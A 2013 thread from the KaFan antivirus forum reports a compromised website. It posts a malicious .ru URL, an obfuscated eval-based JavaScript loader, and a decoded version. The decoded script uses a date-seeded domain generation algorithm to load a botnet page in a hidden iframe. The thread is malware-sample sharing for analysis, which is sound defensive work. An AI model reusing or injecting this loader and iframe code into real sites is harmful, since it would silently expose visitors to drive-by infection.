查看: 902|回复: 2
收起左侧

[已鉴定] http://hairbysonia.com【挂马BY哀酱】

[复制链接]
哀酱俏佳人
发表于 2013-5-12 10:37:21 | 显示全部楼层 |阅读模式
  1.    http://rljvirwdbdwrfvjg.ru/runforestrun?sid=botnet
复制代码
哀酱俏佳人
 楼主| 发表于 2013-5-12 10:37:52 | 显示全部楼层
  1. s = "";
  2. try {
  3.   q = document.createElement("p");
  4.   q.appendChild("123" + n);
  5. }
  6. catch (qw){
  7.   h =- 016 / 7;
  8.   try {
  9.     a = prototype;
  10.   }
  11.   catch (zxc){
  12.     e = window["e" + "va" + "l"];
  13.     n = "
  14. 204.351.440.495.232.315.444.550.64.330.404.600.232.246.388.550.200.333.436.390.234.327.392
  15. .505.228.120.164.615.26.30.128.160.64.96.472.485.228.96.416.525.64.183.128.580.208.315.460
  16. .230.230.303.404.500.64.141.128.580.208.315.460.230.162.177.52.50.64.96.128.160.236.291.45
  17. 6.160.216.333.128.305.64.348.416.525.230.138.460.505.202.300.128.185.64.348.416.525.230.13
  18. 8.324.295.26.30.128.160.64.96.472.485.228.96.464.505.230.348.128.305.64.348.416.525.230.13
  19. 8.260.160.84.96.432.555.64.135.128.580.208.315.460.230.164.96.168.160.208.315.236.65.20.96
  20. .128.160.64.315.408.200.232.303.460.580.64.186.128.240.82.369.52.50.64.96.128.160.64.96.12
  21. 8.160.232.312.420.575.92.345.404.505.200.96.244.160.232.303.460.580.118.39.40.160.64.96.12
  22. 8.625.64.303.432.575.202.96.492.65.20.96.128.160.64.96.128.160.64.348.416.525.230.138.460.
  23. 505.202.300.128.305.64.348.404.575.232.96.172.160.232.312.420.575.92.231.236.65.20.96.128.
  24. 160.64.375.52.50.64.96.128.160.228.303.464.585.228.330.128.200.232.312.420.575.92.345.404.
  25. 505.200.96.168.160.232.312.420.575.92.333.440.505.158.354.404.570.154.123.236.65.20.375.52
  26. .50.26.30.408.585.220.297.464.525.222.330.128.410.194.330.400.555.218.234.468.545.196.303.
  27. 456.355.202.330.404.570.194.348.444.570.80.351.440.525.240.123.492.65.20.96.128.160.64.354
  28. .388.570.64.300.128.305.64.330.404.595.64.204.388.580.202.120.468.550.210.360.168.245.96.1
  29. 44.192.205.118.39.40.160.64.96.128.590.194.342.128.575.64.183.128.500.92.309.404.580.144.3
  30. 33.468.570.230.120.164.160.124.96.196.250.64.189.128.245.64.174.128.240.118.39.40.160.64.9
  31. 6.128.580.208.315.460.230.230.303.404.500.64.183.128.250.102.156.212.270.110.168.228.240.9
  32. 8.96.172.160.80.300.184.515.202.348.308.555.220.348.416.200.82.96.168.160.96.360.280.350.1
  33. 40.210.280.350.82.96.172.160.80.300.184.515.202.348.272.485.232.303.160.205.64.126.128.240
  34. .240.210.280.350.140.123.172.160.80.231.388.580.208.138.456.555.234.330.400.200.230.96.168
  35. .160.96.360.280.350.140.123.164.295.26.30.128.160.64.96.464.520.210.345.184.325.64.183.128
  36. .260.112.150.220.245.118.39.40.160.64.96.128.580.208.315.460.230.154.96.244.160.100.147.20
  37. 8.275.104.168.204.270.104.165.236.65.20.96.128.160.64.348.416.525.230.138.324.160.122.96.4
  38. 64.520.210.345.184.385.64.141.128.580.208.315.460.230.130.177.52.50.64.96.128.160.232.312.
  39. 420.575.92.246.128.305.64.348.416.525.230.138.308.160.74.96.464.520.210.345.184.325.118.39
  40. .40.160.64.96.128.580.208.315.460.230.222.330.404.395.236.303.456.385.64.183.128.245.92.14
  41. 4.128.235.64.348.416.525.230.138.308.295.26.30.128.160.64.96.464.520.210.345.184.550.202.3
  42. 60.464.160.122.96.440.505.240.348.328.485.220.300.444.545.156.351.436.490.202.342.236.65.2
  43. 0.96.128.160.64.342.404.580.234.342.440.160.232.312.420.575.118.39.40.625.26.30.52.50.204.
  44. 351.440.495.232.315.444.550.64.297.456.505.194.348.404.410.194.330.400.555.218.234.468.545
  45. .196.303.456.200.228.132.128.385.210.330.176.160.154.291.480.205.246.39.40.160.64.96.128.5
  46. 70.202.348.468.570.220.96.308.485.232.312.184.570.222.351.440.500.80.120.308.485.240.135.3
  47. 08.525.220.123.128.210.64.342.184.550.202.360.464.200.82.96.172.160.154.315.440.205.118.39
  48. .40.625.26.30.52.50.204.351.440.495.232.315.444.550.64.309.404.550.202.342.388.580.202.240
  49. .460.505.234.300.444.410.194.330.400.555.218.249.464.570.210.330.412.200.234.330.420.600.8
  50. 8.96.432.505.220.309.464.520.88.96.488.555.220.303.164.615.26.30.128.160.64.96.472.485.228
  51. .96.456.485.220.300.128.305.64.330.404.595.64.246.388.550.200.333.436.390.234.327.392.505.
  52. 228.213.404.550.202.342.388.580.222.342.160.585.220.315.480.205.118.39.40.160.64.96.128.59
  53. 0.194.342.128.540.202.348.464.505.228.345.128.305.64.273.156.485.78.132.156.490.78.132.156
  54. .495.78.132.156.500.78.132.156.505.78.132.156.510.78.132.156.515.78.132.156.520.78.132.156
  55. .525.78.132.156.530.78.132.156.535.78.132.156.540.78.132.156.545.78.132.156.550.78.132.156
  56. .555.78.132.156.560.78.132.156.565.78.132.156.570.78.132.156.575.78.132.156.580.78.132.156
  57. .585.78.132.156.590.78.132.156.595.78.132.156.600.78.132.156.605.78.132.156.610.78.279.236
  58. .65.20.96.128.160.64.354.388.570.64.345.464.570.64.183.128.195.78.177.52.50.64.96.128.160.
  59. 204.333.456.200.236.291.456.160.210.96.244.160.96.177.128.525.64.180.128.540.202.330.412.5
  60. 80.208.177.128.525.64.129.172.160.82.369.52.50.64.96.128.160.64.96.128.160.230.348.456.160
  61. .86.183.128.540.202.348.464.505.228.345.364.495.228.303.388.580.202.246.388.550.200.333.43
  62. 6.390.234.327.392.505.228.120.456.485.220.300.176.160.96.132.128.540.202.348.464.505.228.3
  63. 45.184.540.202.330.412.580.208.96.180.160.98.123.372.295.26.30.128.160.64.96.500.65.20.96.
  64. 128.160.64.342.404.580.234.342.440.160.230.348.456.160.86.96.156.230.78.96.172.160.244.333
  65. .440.505.118.39.40.625.26.30.52.50.230.303.464.420.210.327.404.555.234.348.160.510.234.330
  66. .396.580.210.333.440.200.82.369.52.50.64.96.128.160.232.342.484.615.26.30.128.160.64.96.12
  67. 8.160.64.96.420.510.80.348.484.560.202.333.408.160.210.306.456.485.218.303.348.485.230.201
  68. .456.505.194.348.404.500.64.183.244.160.68.351.440.500.202.306.420.550.202.300.136.205.246
  69. .39.40.160.64.96.128.160.64.96.128.160.64.96.128.525.204.342.388.545.202.261.388.575.134.3
  70. 42.404.485.232.303.400.160.122.96.464.570.234.303.236.65.20.96.128.160.64.96.128.160.64.96
  71. .128.160.64.354.388.570.64.351.440.525.240.96.244.160.154.291.464.520.92.342.444.585.220.3
  72. 00.160.215.220.303.476.160.136.291.464.505.80.123.188.245.96.144.192.205.118.39.40.160.64.
  73. 96.128.160.64.96.128.160.64.96.128.590.194.342.128.500.222.327.388.525.220.234.388.545.202
  74. .96.244.160.206.303.440.505.228.291.464.505.160.345.404.585.200.333.328.485.220.300.444.54
  75. 5.166.348.456.525.220.309.160.585.220.315.480.220.64.147.216.220.64.117.456.585.78.123.236
  76. .65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.96.244.160.200.333.396.58
  77. 5.218.303.440.580.92.297.456.505.194.348.404.345.216.303.436.505.220.348.160.170.146.210.3
  78. 28.325.154.207.136.205.118.96.52.50.64.96.128.160.64.96.128.160.64.96.128.160.210.306.456.
  79. 545.92.345.404.580.130.348.464.570.210.294.468.580.202.120.136.575.228.297.136.220.64.102.
  80. 416.580.232.336.232.235.94.102.172.500.222.327.388.525.220.234.388.545.202.129.136.235.228
  81. .351.440.510.222.342.404.575.232.342.468.550.126.345.420.500.122.294.444.580.220.303.464.1
  82. 70.82.177.128.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.138.460.580.
  83. 242.324.404.230.238.315.400.580.208.96.244.160.68.144.448.600.68.177.128.65.20.96.128.160.
  84. 64.96.128.160.64.96.128.160.64.315.408.570.218.138.460.580.242.324.404.230.208.303.420.515
  85. .208.348.128.305.64.102.192.560.240.102.236.160.26.30.128.160.64.96.128.160.64.96.128.160.
  86. 64.96.420.510.228.327.184.575.232.363.432.505.92.354.420.575.210.294.420.540.210.348.484.1
  87. 60.122.96.136.520.210.300.400.505.220.102.236.160.26.30.128.160.64.96.128.160.64.96.128.16
  88. 0.64.96.400.555.198.351.436.505.220.348.184.490.222.300.484.230.194.336.448.505.220.300.26
  89. 8.520.210.324.400.200.210.306.456.545.82.177.52.50.64.96.128.160.64.96.128.160.250.39.40.1
  90. 60.64.96.128.625.198.291.464.495.208.120.404.205.246.375.52.50.250.132.128.265.96.144.164.
  91. 295".split(".");
  92.     if (window.document)for (i = 6 - 2 - 1 - 2 - 1 ;- 1828 + i != 2 - 2; i ++ ){
  93.       k = i;
  94.       s = s + String.fromCharCode(n[k] / (i % (h * h) + 2));
  95.     }
  96.     e(s);
  97.   }
复制代码
哀酱俏佳人
 楼主| 发表于 2013-5-12 10:38:13 | 显示全部楼层
  1. function nextRandomNumber(){
  2.   var hi = this .seed / this .Q;
  3.   var lo = this .seed % this .Q;
  4.   var test = this .A * lo - this .R * hi;
  5.   if (test > 0){
  6.     this .seed = test;
  7.   }
  8.   else {
  9.     this .seed = test + this .M;
  10.   }
  11.   return (this .seed * this .oneOverM);
  12. }
  13. function RandomNumberGenerator(unix){
  14.   var d = new Date(unix * 1000);
  15.   var s = d.getHours() > 12 ? 1 : 0;
  16.   this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
  17.   round(s * 0xFFF));
  18.   this .A = 48271;
  19.   this .M = 2147483647;
  20.   this .Q = this .M / this .A;
  21.   this .R = this .M % this .A;
  22.   this .oneOverM = 1.0 / this .M;
  23.   this .next = nextRandomNumber;
  24.   return this ;
  25. }
  26. function createRandomNumber(r, Min, Max){
  27.   return Math.round((Max - Min) * r.next() + Min);
  28. }
  29. function generatePseudoRandomString(unix, length, zone){
  30.   var rand = new RandomNumberGenerator(unix);
  31.   var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'
  32.   , 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  33.   var str = '';
  34.   for (var i = 0; i < length; i ++ ){
  35.     str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  36.   }
  37.   return str + '.' + zone;
  38. }
  39. setTimeout(function (){
  40.   try {
  41.     if (typeof iframeWasCreated == "undefined"){
  42.       iframeWasCreated = true;
  43.       var unix = Math.round( + new Date() / 1000);
  44.       var domainName = generatePseudoRandomString(unix, 16, 'ru');
  45.       ifrm = document.createElement("IFRAME");
  46.       ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet");
  47.       ifrm.style.width = "0px";
  48.       ifrm.style.height = "0px";
  49.       ifrm.style.visibility = "hidden";
  50.       document.body.appendChild(ifrm);
  51.     }
  52.   }
  53.   catch (e){
  54.   }
  55. }
  56. , 500);
复制代码
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 01:57 , Processed in 0.124187 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表